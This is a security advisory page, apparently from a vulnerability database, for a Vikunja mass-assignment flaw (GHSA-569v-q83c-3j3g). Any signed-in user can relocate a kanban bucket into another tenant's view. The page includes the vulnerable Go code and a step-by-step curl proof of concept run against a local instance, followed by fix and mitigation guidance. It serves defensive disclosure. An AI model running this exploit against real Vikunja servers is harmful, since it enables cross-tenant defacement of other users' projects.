Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

Vikunja vulnerable to authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignmentGHSA-569v-q83c-3j3g

MEDIUMFix: go-vikunja/vikunja#3239

GHSA-569v-q83c-3j3g is a medium-severity (CVSS 5) CWE-639 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Also known asCVE-2026-55067GO-2026-6307
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-569v-q83c-3j3g.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-569v-q83c-3j3g by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's project_view_id onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's project_view_id is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as created_by.

This vulnerability was found using an LLM, and manually verified against latest (2.3.0).

Vulnerable code

pkg/models/kanban.go (lines 348-359):

func (b *Bucket) Update(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ?", b.ID).
        Cols(
            "title",
            "limit",
            "position",
            "project_view_id",   // mass-assigned from the request body
        ).
        Update(b)
    return
}

Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's project_view_id reaches Update unchecked and is written through.

Proof of Concept

Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.

Step 1: Attacker creates a fresh bucket in their own project.

curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET"}' | jq '.id'
# Returns: 7

Step 2: Attacker updates bucket 7, supplying project_view_id = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.

curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \
  -H 'Authorization: Bearer <attacker_token>' \
  -H 'Content-Type: application/json' \
  -d '{"title":"PWNED BUCKET","limit":0,"project_view_id":4}' | jq '{id,title,project_view_id}'
# Returns: {
#   "id": 7,
#   "title": "PWNED BUCKET",
#   "project_view_id": 4
# }

Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.

curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \
  -H 'Authorization: Bearer <victim_token>' | jq '[.[]|{id,title,created_by:.created_by.username}]'
# Returns: [
#   {"id":7,"title":"PWNED BUCKET","created_by":"attacker"},
#   {"id":1,"title":"To-Do","created_by":"victim"},
#   {"id":2,"title":"Doing","created_by":"victim"},
#   {"id":3,"title":"Done","created_by":"victim"}
# ]

After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. project_view_id is a sequential integer, so any tenant's view can be targeted by enumeration.

Impact

Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.

Fix

In (b *Bucket) Update, drop project_view_id from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where project_view_id != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/apiall versions2.4.0go get code.vikunja.io/api@v2.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-569v-q83c-3j3g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary `POST /api/v1/projects/{project}/views/{view}/buckets/{bucket}` mass-assigns the request body's `project_view_id` onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied `(project, view)` pair; the body's `project_view_id` is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as `created_by`. This vulnerability was found using an LLM, and manually verified against latest (2.3.0). #
O3 Security · Impact-Aware SCA

Is GHSA-569v-q83c-3j3g in your dependencies?

Find it across Go, including transitive dependencies.

Vikunja vulnerable to authenticated cross-tenant…